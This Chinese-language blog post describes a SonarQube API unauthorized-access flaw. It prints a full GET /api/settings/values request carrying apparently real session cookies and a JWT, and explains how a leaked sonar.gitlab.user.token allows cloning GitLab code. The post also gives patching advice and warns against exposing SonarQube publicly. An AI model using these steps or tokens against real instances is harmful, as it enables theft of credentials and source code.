SonarQube是一个基于Web的工具和开源代码质量管理系统,可帮助开发人员生成没有安全问题、错误、漏洞、异常和一般问题的代码。如果您正在处理一个小项目,可能很容易通过代码来查找任何问题。SonarQube属于SAST代码检测工具,更侧重于质量检测,也有一些针对性的安全检测,比如SQL注入等,我用过商业版,尝试使用SAST来发现和解决代码安全问题。我很失望。规则库比较薄弱,定制能力较差。毕竟,它只是更专注于质量检测。背景近日,国外网站报道了一些涉及国内多家机构和企业的代码泄露事件,就是利用SonarQube这个API未授权漏洞进行的。(1)中国公安部(2)BOSCH(3)奔驰SonarQubeAPI源码未授权下载漏洞利用过程及原理SonarSourceSonarQube存在安全漏洞,攻击者可以利用该漏洞通过API设置ValueURI,发现明文形式的SMTP、GitLab凭据(tocken)等敏感信息泄露,可能导致gitlab中的项目代码被任意clone下载。其实这个漏洞是在2019年发现的,官方修复过一次,但是又出现了新的漏洞,并且已经扩展到7-8-9的多个版本。漏洞详情:利用过程及证明:(1)敏感配置泄露:普通用户登录即可查看API信息,如下:GET/api/settings/valuesHTTP/2Host:sonar.******.comCookie:experimentation_subject_id=ImExZjYyYTg4LTUwMmEtNDllOS1hNDNhLTZkYjc3OWVhNDM3YiI%3D--5753e714d025d34f4249d6d9d8cc7292ca0200b6;XSRF-TOKEN=5n4f4tq6qi30hg65n2h0qth56e;JWT-SESSION=eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJBWGpaWGotUmlDeWV5OUM0SnkwbCIsInN1YiI6ImZlbmd3ZWlndW8iLCJpYXQiOjE2MTg1NTQ1MzUsImV4cCI6MTYxODgxMzczNSwibGFzdFJlZnJlc2hUaW1lIjoxNjE4NTU0NTM1ODI1LCJ4c3JmVG9rZW4iOiI1bjRmNHRxNnFpMzBoZzY1bjJoMHF0aDU2ZSJ9.5GEbBs6oJnoRYnSbPC3BUysSZgy5tIu-LOuO7iOSEGISec-Ch-Ua:"Chromium";v="89",";NotABrand";v="99"Sec-Ch-Ua-Mobile:?0Upgrade-Insecure-Requests:1User-Agent:Mozilla/5.0(KaliLinux;ARM)AppleWebKit/637.36(KHTML,likeGecko)Chrome/189.0.4389.90Safari/637.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site:noneSec-Fetch-Mode:navigateSec-Fetch-User:?1Sec-Fetch-Dest:documentAccept-Encoding:gzip,deflateAccept-Language:zh-CN,zh;q=0.9Connection:close已正式修复,该接口应该只允许管理员查看但也可以查看许多内置的默认帐户和简单的弱密码帐户。(2)user_token可以用来从gitlab获取代码:看,是sonar.gitlab.user.token,可以直接拉取代码数据。也可以通过配置文件看到数据库账号密码。很老的错误。看如何使用sonar.gitlab.user.token拉取代码:解决办法是按照厂家官网,即使升级补丁也可以。友情提醒,至少看看公网上暴露了多少:数量还是惊人的,这么多假装关心代码质量,不关心安全的用户,代码泄露。SonarQube不建议对外开放。如果在DevOps过程中需要使用SAST,请使用专业工具,请放弃SonarQube。
